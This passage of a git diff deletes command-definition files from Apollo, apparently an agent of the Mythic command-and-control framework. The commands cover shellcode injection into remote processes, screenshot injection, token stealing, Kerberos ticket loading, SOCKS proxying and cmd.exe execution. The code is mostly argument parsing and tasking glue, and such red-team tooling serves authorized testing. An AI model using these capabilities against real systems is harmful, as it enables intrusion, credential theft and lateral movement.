PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/screenshot_inject.py b/Payload_Type/apollo/apollo/mythic/agent_functions/screenshot_inject.py deleted file mode 100644 index 1aad82dc..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/screenshot_inject.py +++ /dev/null @@ -1,123 +0,0 @@ -import os -from mythic_container.MythicCommandBase import * -from uuid import uuid4 -import json -from os import path -from mythic_container.MythicRPC import * -import base64 -import tempfile -from distutils.dir_util import copy_tree -import shutil -import os -import asyncio -import donut - -SCREENSHOT_INJECT = "/srv/ScreenshotInject.exe" - - -class ScreenshotInjectArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="pid", - cli_name="PID", - display_name="PID", - type=ParameterType.Number, description="Process ID to inject into."), - CommandParameter( - name="count", - cli_name="Count", - display_name="Number of Screenshots", - type=ParameterType.Number, - description="The number of screenshots to take when executing.", - default_value=1, - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ), - ]), - CommandParameter( - name="interval", - cli_name="Interval", - display_name="Interval Between Screenshots", - type=ParameterType.Number, - description="Interval in seconds to wait between capturing screenshots. Default 0.", - default_value=0, - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ), - ]) - ] - - async def parse_arguments(self): - if not len(self.command_line): - raise Exception("Usage: {}".format(ScreenshotInjectCommand.help_cmd)) - self.load_args_from_json_string(self.command_line) - self.add_arg("pipe_name", str(uuid4())) - - -class ScreenshotInjectCommand(CommandBase): - cmd = "screenshot_inject" - needs_admin = False - help_cmd = "screenshot_inject [pid] [count] [interval]" - description = "Take a screenshot in the session of the target PID" - version = 2 - author = "@reznok, @djhohnstein" - argument_class = ScreenshotInjectArguments - browser_script = BrowserScript(script_name="screenshot", author="@djhohnstein", for_new_ui=True) - attackmapping = ["T1113"] - supported_ui_features=["screenshot_inject"] - - async def build_screenshotinject(self): - global SCREENSHOT_INJECT - agent_build_path = tempfile.TemporaryDirectory() - outputPath = "{}/ScreenshotInject/bin/Release/ScreenshotInject.exe".format(agent_build_path.name) - # shutil to copy payload files over - copy_tree(str(self.agent_code_path), agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/ScreenshotInject/ScreenshotInject.csproj -o {}/ScreenshotInject/bin/Release/".format(agent_build_path.name, agent_build_path.name) - proc = await asyncio.create_subprocess_shell(shell_cmd, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) - stdout, stderr = await proc.communicate() - if not path.exists(outputPath): - raise Exception("Failed to build ScreenshotInject.exe:\n{}".format(stdout.decode() + "\n" + stderr.decode())) - shutil.copy(outputPath, SCREENSHOT_INJECT) - - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - global SCREENSHOT_INJECT - if not path.exists(SCREENSHOT_INJECT): - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus=f"building injection stub" - )) - await self.build_screenshotinject() - await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( - TaskID=taskData.Task.ID, - UpdateStatus=f"generating stub shellcode" - )) - donutPic = donut.create( - file=SCREENSHOT_INJECT, params=taskData.args.get_arg("pipe_name") - ) - file_resp = await SendMythicRPCFileCreate( - MythicRPCFileCreateMessage( - TaskID=taskData.Task.ID, FileContents=donutPic, DeleteAfterFetch=True - ) - ) - if file_resp.Success: - taskData.args.add_arg("loader_stub_id", file_resp.AgentFileId) - else: - raise Exception( - "Failed to register screenshot_inject stub binary: " + file_resp.Error - ) - response.DisplayParams = "-PID {}".format(taskData.args.get_arg("pid")) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/set_injection_technique.py b/Payload_Type/apollo/apollo/mythic/agent_functions/set_injection_technique.py deleted file mode 100644 index 3d5a650e..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/set_injection_technique.py +++ /dev/null @@ -1,37 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class SetInjectionTechniqueArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line.strip()) == 0: - raise Exception("set_injection_technique requires an injection technique listed from get_injection_technique to be passed via the command line.\n\tUsage: {}".format(SetInjectionTechniqueCommand.help_cmd)) - pass - - -class SetInjectionTechniqueCommand(CommandBase): - cmd = "set_injection_technique" - needs_admin = False - help_cmd = "set_injection_technique [technique]" - description = "Set the injection technique used in post-ex jobs that require injection. Must be a technique listed in the output of `list_injection_techniques`." - version = 2 - author = "@djhohnstein" - argument_class = SetInjectionTechniqueArguments - attackmapping = ["T1055"] - supported_ui_features = ["set_injection_technique"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/shell.py b/Payload_Type/apollo/apollo/mythic/agent_functions/shell.py deleted file mode 100644 index 03b6df46..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/shell.py +++ /dev/null @@ -1,46 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * - - -class ShellArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line.strip()) == 0: - raise Exception( - "shell requires at least one command-line parameter.\n\tUsage: {}".format(ShellCommand.help_cmd)) - pass - - -class ShellCommand(CommandBase): - cmd = "shell" - attributes = CommandAttributes( - dependencies=["run"], - suggested_command=True, - alias=True - ) - needs_admin = False - help_cmd = "shell [command] [arguments]" - description = "Run a shell command which will translate to a process being spawned with command line: `cmd.exe /C [command]`" - version = 2 - author = "@djhohnstein" - argument_class = ShellArguments - attackmapping = ["T1059"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - CommandName="run" - ) - taskData.args.add_arg("executable", "cmd.exe") - taskData.args.add_arg("arguments", f" /S /c {taskData.args.command_line}") - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/shinject.py b/Payload_Type/apollo/apollo/mythic/agent_functions/shinject.py deleted file mode 100644 index de5321a7..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/shinject.py +++ /dev/null @@ -1,99 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * -import base64 - - -class ShInjectArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="pid", - cli_name="PID", - display_name="PID", - type=ParameterType.Number, - description="Process ID to inject into.", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Default" - ), - ParameterGroupInfo( - required=True, - group_name="Scripted" - ), - ]), - CommandParameter( - name="shellcode", - cli_name="Shellcode", - display_name="Shellcode File", - type=ParameterType.File, - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Default" - ), - ]), - CommandParameter( - name="shellcode-file-id", - cli_name="FileID", - display_name="Shellcode File ID", - description="Used for automation. Ignore.", - type=ParameterType.String, - parameter_group_info=[ - ParameterGroupInfo( - required=True, - group_name="Scripted" - ), - ]), - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("No arguments given.\n\tUsage: {}".format(ShInjectCommand.help_cmd)) - if self.command_line[0] != "{": - raise Exception("Require JSON blob, but got raw command line.\n\tUsage: {}".format(ShInjectCommand.help_cmd)) - self.load_args_from_json_string(self.command_line) - pass - - -class ShInjectCommand(CommandBase): - cmd = "shinject" - needs_admin = False - help_cmd = "shinject (modal popup)" - description = "Inject shellcode into a remote process." - version = 2 - author = "@djhohnstein" - argument_class = ShInjectArguments - attackmapping = ["T1055"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - response.DisplayParams = "-PID {}".format(taskData.args.get_arg("pid")) - if taskData.args.get_arg("shellcode") is not None: - file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( - AgentFileID=taskData.args.get_arg("shellcode"), - TaskID=taskData.Task.ID, - )) - if file_resp.Success: - original_file_name = file_resp.Files[0].Filename - else: - raise Exception("Failed to fetch uploaded file from Mythic (ID: {})".format(taskData.args.get_arg("shellcode"))) - - response.DisplayParams += " -File {}".format(original_file_name) - taskData.args.add_arg("shellcode-file-id", file_resp.Files[0].AgentFileId) - taskData.args.remove_arg("shellcode") - elif taskData.args.get_arg("shellcode-file-id") is not None and taskData.args.get_arg("shellcode-file-id") != "": - response.DisplayParams += " (scripting automation)" - else: - raise Exception("No file provided.") - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/sleep.py b/Payload_Type/apollo/apollo/mythic/agent_functions/sleep.py deleted file mode 100644 index 2a96ea3c..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/sleep.py +++ /dev/null @@ -1,74 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class SleepArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="interval", - type=ParameterType.Number, - default_value=-1, - parameter_group_info=[ParameterGroupInfo( - ui_position=0, - required=True, - )] - ), - CommandParameter( - name="jitter", - type=ParameterType.Number, - default_value=-1, - parameter_group_info=[ParameterGroupInfo( - ui_position=1, - required=False, - )] - ) - ] - - async def parse_dictionary(self, dictionary_arguments): - self.load_args_from_dictionary(dictionary_arguments) - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("sleep requires an integer value (in seconds) to be passed on the command line to update the sleep value to.") - parts = self.command_line.split(" ", maxsplit=1) - try: - self.set_arg("interval", int(parts[0])) - except: - raise Exception("sleep requires an integer value (in seconds) to be passed on the command line to update the sleep value to.") - if len(parts) == 2: - try: - self.set_arg("jitter", int(parts[1])) - except: - raise Exception("sleep requires an integer value for jitter, but received: {}".format(parts[1])) - pass - - -class SleepCommand(CommandBase): - cmd = "sleep" - needs_admin = False - help_cmd = "sleep [seconds] [jitter]" - description = "Change the implant's sleep interval." - version = 2 - author = "@djhohnstein" - argument_class = SleepArguments - attackmapping = ["T1029"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - interval = taskData.args.get_arg("interval") - jitter = taskData.args.get_arg("jitter") - displayParams = f"-interval {interval}" - if jitter >= 0: - displayParams += f" -jitter {jitter}" - response.DisplayParams = displayParams - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/socks.py b/Payload_Type/apollo/apollo/mythic/agent_functions/socks.py deleted file mode 100644 index c9340998..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/socks.py +++ /dev/null @@ -1,158 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from mythic_container.MythicRPC import * - -class SocksArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="port", - cli_name="Port", - display_name="Port", - type=ParameterType.Number, - description="Port to start the socks server on.", - parameter_group_info=[ParameterGroupInfo( - ui_position=0, - required=True - )] - ), - CommandParameter( - name="action", - cli_name="Action", - display_name="Action", - type=ParameterType.ChooseOne, - choices=["start", "stop"], - default_value="start", - description="Start or stop proxy server for this port.", - parameter_group_info=[ParameterGroupInfo( - ui_position=1, - required=False - )], - ), - CommandParameter( - name="username", - cli_name="Username", - display_name="Port Auth Username", - type=ParameterType.String, - description="Must auth as this user to use the SOCKS port.", - parameter_group_info=[ParameterGroupInfo( - required=False, - ui_position=2, - )] - ), - CommandParameter( - name="password", - cli_name="Password", - display_name="Port Auth Password", - type=ParameterType.String, - description="Must auth with this password to use the SOCKS port.", - parameter_group_info=[ParameterGroupInfo( - required=False, - ui_position=3, - )] - ), - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("Must be passed a port on the command line.") - try: - self.load_args_from_json_string(self.command_line) - except: - port = self.command_line.lower().strip() - try: - self.add_arg("port", int(port)) - except Exception as e: - raise Exception("Invalid port number given: {}. Must be int.".format(port)) - - -class SocksCommand(CommandBase): - cmd = "socks" - needs_admin = False - help_cmd = "socks -Port [port number] -Action {start|stop}" - description = "Enable SOCKS 5 compliant proxy to send data to the target network. Compatible with proxychains and proxychains4." - version = 2 - script_only = True - author = "@djhohnstein" - argument_class = SocksArguments - attackmapping = ["T1090"] - attributes=CommandAttributes( - dependencies=[] - ) - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - response.DisplayParams = f"-Action {taskData.args.get_arg('action')} -Port {taskData.args.get_arg('port')}" - if taskData.args.get_arg('username') != "" and taskData.args.get_arg('username') is not None: - response.DisplayParams += f" -Username {taskData.args.get_arg('username')} -Password {taskData.args.get_arg('password')}" - if taskData.args.get_arg("action") == "start": - resp = await SendMythicRPCProxyStartCommand(MythicRPCProxyStartMessage( - TaskID=taskData.Task.ID, - PortType="socks", - LocalPort=taskData.args.get_arg("port"), - Username=taskData.args.get_arg("username"), - Password=taskData.args.get_arg("password") - )) - if not resp.Success: - response.TaskStatus = MythicStatus.Error - response.Stderr = resp.Error - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=taskData.Task.ID, - Response=resp.Error.encode() - )) - else: - response.TaskStatus = MythicStatus.Success - response.Completed = True - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=taskData.Task.ID, - Response=f"Started SOCKS5 server on port {taskData.args.get_arg('port')}\nUpdating Sleep to 0".encode() - )) - await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=taskData.Task.ID, - CommandName="sleep", - Params=json.dumps({ - "interval": 0, - }) - )) - - else: - resp = await SendMythicRPCProxyStopCommand(MythicRPCProxyStopMessage( - TaskID=taskData.Task.ID, - PortType="socks", - Port=taskData.args.get_arg("port"), - Username=taskData.args.get_arg("username"), - Password=taskData.args.get_arg("password") - )) - - if not resp.Success: - response.TaskStatus = MythicStatus.Error - response.Stderr = resp.Error - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=taskData.Task.ID, - Response=resp.Error.encode() - )) - else: - response.TaskStatus = MythicStatus.Success - response.Completed = True - await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=taskData.Task.ID, - Response=f"Stopped SOCKS5 server on port {taskData.args.get_arg('port')}\nUpdating Sleep to 1".encode() - )) - await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( - TaskID=taskData.Task.ID, - CommandName="sleep", - Params=json.dumps({ - "interval": 1, - }) - )) - return response - - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp - diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/spawn.py b/Payload_Type/apollo/apollo/mythic/agent_functions/spawn.py deleted file mode 100644 index ff578f9c..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/spawn.py +++ /dev/null @@ -1,75 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json -from uuid import uuid4 -from mythic_container.MythicRPC import * -import asyncio - -class SpawnArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="template", - cli_name="Payload", - display_name="Payload Template (Shellcode)", - type=ParameterType.Payload, - supported_agents=["apollo"], - supported_agent_build_parameters={"apollo": {"output_type": "Shellcode"}}), - ] - - async def parse_arguments(self): - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - raise Exception("Expected JSON arguments but got command line arguments.") - pass - - -class SpawnCommand(CommandBase): - cmd = "spawn" - needs_admin = False - help_cmd = "spawn (modal popup)" - description = "Spawn a new session in the executable specified by the spawnto_x86 or spawnto_x64 commands. The payload template must be shellcode." - version = 2 - author = "@djhohnstein" - argument_class = SpawnArguments - attackmapping = ["T1055"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - CallbackID=taskData.Callback.ID, - PayloadUUID=taskData.args.get_arg("template"))) - newPayloadResp = await SendMythicRPCPayloadCreateFromUUID(MythicRPCPayloadCreateFromUUIDMessage( - TaskID=taskData.Task.ID, PayloadUUID=taskData.args.get_arg("template"), NewDescription="{}'s spawned session from task {}".format(taskData.Task.OperatorUsername, str(taskData.Task.DisplayID))) - ) - if newPayloadResp.Success: - # we know a payload is building, now we want it - while True: - resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - PayloadUUID=newPayloadResp.NewPayloadUUID - )) - if resp.Success: - if resp.Payloads[0].BuildPhase == 'success': - taskData.args.add_arg("template", resp.Payloads[0].AgentFileId) - response.DisplayParams = "Spawning new payload from '{}'".format(payload_search.Payloads[0].Description) - break - elif resp.Payloads[0].BuildPhase == 'error': - raise Exception("Failed to build new payload") - elif resp.Payloads[0].BuildPhase == "building": - await asyncio.sleep(2) - else: - raise Exception(resp.Payloads[0].BuildPhase) - else: - raise Exception(resp.Error) - else: - raise Exception("Failed to start build process") - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/spawnto_x64.py b/Payload_Type/apollo/apollo/mythic/agent_functions/spawnto_x64.py deleted file mode 100644 index fd107b81..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/spawnto_x64.py +++ /dev/null @@ -1,85 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class Spawntox64Arguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter(name="application",cli_name="Application", display_name="Path to Application", type=ParameterType.String, default_value="C:\\Windows\\System32\\rundll32.exe"), - CommandParameter(name="arguments", cli_name="Arguments", display_name="Arguments", type=ParameterType.String, default_value="", parameter_group_info=[ - ParameterGroupInfo( - required=False - ) - ]), - ] - - def split_commandline(self): - if self.command_line[0] == "{": - raise Exception("split_commandline expected string, but got JSON object: " + self.command_line) - inQuotes = False - curCommand = "" - cmds = [] - for x in range(len(self.command_line)): - c = self.command_line[x] - if c == '"' or c == "'": - inQuotes = not inQuotes - if (not inQuotes and c == ' '): - cmds.append(curCommand) - curCommand = "" - else: - curCommand += c - - if curCommand != "": - cmds.append(curCommand) - - for x in range(len(cmds)): - if cmds[x][0] == '"' and cmds[x][-1] == '"': - cmds[x] = cmds[x][1:-1] - elif cmds[x][0] == "'" and cmds[x][-1] == "'": - cmds[x] = cmds[x][1:-1] - - return cmds - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("spawnto_x64 requires a path to an executable to be passed on the command line.\n\tUsage: {}".format(Spawntox64Command.help_cmd)) - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - parts = self.split_commandline() - self.add_arg("application", parts[0]) - firstIndex = self.command_line.index(parts[0]) - cmdline = self.command_line[firstIndex+len(parts[0]):].strip() - if cmdline[0] in ['"', "'"]: - cmdline = cmdline[1:].strip() - self.add_arg("arguments", cmdline) - - pass - - -class Spawntox64Command(CommandBase): - cmd = "spawnto_x64" - needs_admin = False - help_cmd = "spawnto_x64 [path] [args]" - description = "Change the default binary used in post exploitation jobs to [path]. If [args] provided, the process is launched with those arguments." - version = 2 - author = "@djhohnstein" - argument_class = Spawntox64Arguments - attackmapping = ["T1055"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - args = taskData.args.get_arg("arguments") - response.DisplayParams = "-Application {}".format(taskData.args.get_arg("application")) - if args: - response.DisplayParams += " -Arguments {}".format(args) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/spawnto_x86.py b/Payload_Type/apollo/apollo/mythic/agent_functions/spawnto_x86.py deleted file mode 100644 index 299cd96a..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/spawnto_x86.py +++ /dev/null @@ -1,85 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class Spawntox86Arguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter(name="application",cli_name="Application", display_name="Path to Application", type=ParameterType.String, default_value="C:\\Windows\\System32\\rundll32.exe"), - CommandParameter(name="arguments", cli_name="Arguments", display_name="Arguments", type=ParameterType.String, default_value="", parameter_group_info=[ - ParameterGroupInfo( - required=False - ) - ]), - ] - - def split_commandline(self): - if self.command_line[0] == "{": - raise Exception("split_commandline expected string, but got JSON object: " + self.command_line) - inQuotes = False - curCommand = "" - cmds = [] - for x in range(len(self.command_line)): - c = self.command_line[x] - if c == '"' or c == "'": - inQuotes = not inQuotes - if (not inQuotes and c == ' '): - cmds.append(curCommand) - curCommand = "" - else: - curCommand += c - - if curCommand != "": - cmds.append(curCommand) - - for x in range(len(cmds)): - if cmds[x][0] == '"' and cmds[x][-1] == '"': - cmds[x] = cmds[x][1:-1] - elif cmds[x][0] == "'" and cmds[x][-1] == "'": - cmds[x] = cmds[x][1:-1] - - return cmds - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("spawnto_x86 requires a path to an executable to be passed on the command line.\n\tUsage: {}".format(Spawntox86Command.help_cmd)) - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - parts = self.split_commandline() - self.add_arg("application", parts[0]) - firstIndex = self.command_line.index(parts[0]) - cmdline = self.command_line[firstIndex+len(parts[0]):].strip() - if cmdline[0] in ['"', "'"]: - cmdline = cmdline[1:].strip() - self.add_arg("arguments", cmdline) - - pass - - -class Spawntox86Command(CommandBase): - cmd = "spawnto_x86" - needs_admin = False - help_cmd = "spawnto_x86 [path]" - description = "Change the default binary used in post exploitation jobs to [path]. If [args] provided, the process is launched with those arguments." - version = 2 - author = "@djhohnstein" - argument_class = Spawntox86Arguments - attackmapping = ["T1055"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - args = taskData.args.get_arg("arguments") - response.DisplayParams = "-Application {}".format(taskData.args.get_arg("application")) - if args: - response.DisplayParams += " -Arguments {}".format(args) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/steal_token.py b/Payload_Type/apollo/apollo/mythic/agent_functions/steal_token.py deleted file mode 100644 index f481e215..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/steal_token.py +++ /dev/null @@ -1,51 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class StealTokenArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("steal_token requires a PID to steal a token from.") - try: - if self.command_line[0] == '{': - supplied_dict = json.loads(self.command_line) - if "pid" in supplied_dict: - self.add_arg("pid", int(supplied_dict["pid"]), type=ParameterType.Number) - elif "process_id" in supplied_dict: - self.add_arg("pid", int(supplied_dict["process_id"]), type=ParameterType.Number) - else: - self.load_args_from_json_string(self.command_line) - else: - self.add_arg("pid", int(self.command_line), type=ParameterType.Number) - except: - raise Exception(f"Invalid integer value given for PID: {self.command_line}") - - -class StealTokenCommand(CommandBase): - cmd = "steal_token" - needs_admin = False - help_cmd = "steal_token [pid]" - description = "Steal a primary token from another process. If no arguments are provided, this will default to winlogon.exe." - version = 2 - author = "@djhohnstein" - argument_class = StealTokenArguments - attackmapping = ["T1134", "T1528"] - supported_ui_features=["steal_token", "process_browser:steal_token"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - taskData.args.set_manual_args(f"{taskData.args.get_arg('pid')}") - response.DisplayParams = f"{taskData.args.get_arg('pid')}" - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_cache_add.py b/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_cache_add.py deleted file mode 100644 index 2a23919e..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/ticket_cache_add.py +++ /dev/null @@ -1,127 +0,0 @@ -from mythic_container.MythicCommandBase import * -from mythic_container.MythicRPC import * -import base64 -from impacket.krb5.ccache import CCache -from datetime import datetime - - -class ticket_cache_addArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="base64ticket", - cli_name="b64ticket", - display_name="b64ticket", - type=ParameterType.String, - description="A base64 encoded kerberos ticket value that will be loaded into the current logon session", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - ui_position=1, - group_name="Add New Ticket" - ), - ]), - CommandParameter( - name="existingTicket", - cli_name="existingTicket", - display_name="Existing Ticket", - type=ParameterType.Credential_JSON, - limit_credentials_by_type=["ticket"], - description="An existing ticket from Mythic's credential store", - parameter_group_info=[ - ParameterGroupInfo( - required=True, - ui_position=1, - group_name="Use Existing Ticket" - ), - ]), - CommandParameter( - name="luid", - cli_name="luid", - display_name="luid", - type=ParameterType.String, - description="From an elevated context a LUID may be provided to target a specific session to add tickets to.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ui_position=2, - group_name="Add New Ticket" - ), - ParameterGroupInfo( - required=False, - ui_position=2, - group_name="Use Existing Ticket" - ), - ]), - ] - - async def parse_arguments(self): - if self.command_line[0] != "{": - raise Exception("Require JSON blob, but got raw command line.") - self.load_args_from_json_string(self.command_line) - -def get_ticket_time(credential, key) -> str: - try: - return datetime.fromtimestamp(credential.__getitem__('time')[key]).isoformat() - except: - return "" - -class ticket_cache_addCommand(CommandBase): - cmd = "ticket_cache_add" - needs_admin = False - help_cmd = "ticket_cache_add -b64ticket [b64Ticket] -luid [luid]" - description = "Add a kerberos ticket to the current luid, or if elevated and a luid is provided load the ticket into that logon session instead. This modifies the tickets in the current logon session." - version = 2 - author = "@drago-qcc" - supported_ui_features = ["apollo:ticket_cache_add"] - argument_class = ticket_cache_addArguments - attackmapping = [] - attributes = CommandAttributes( - suggested_command=True - ) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( TaskID=taskData.Task.ID,Success=True) - current_group_name = taskData.args.get_parameter_group_name() - if current_group_name == "Use Existing Ticket": - credentialData = taskData.args.get_arg("existingTicket") - taskData.args.remove_arg("existingTicket") - taskData.args.add_arg("base64ticket", credentialData["credential"], parameter_group_info=[ParameterGroupInfo(group_name=current_group_name)]) - - base64Ticket = taskData.args.get_arg("base64ticket") - ccache = CCache() - ccache.fromKRBCRED(base64.b64decode(base64Ticket)) - #ccache.credentials[0].__getitem__('client').prettyPrint() # user@domain - #ccache.credentials[0].__getitem__('server').prettyPrint() # krbtgt/domain@domain - 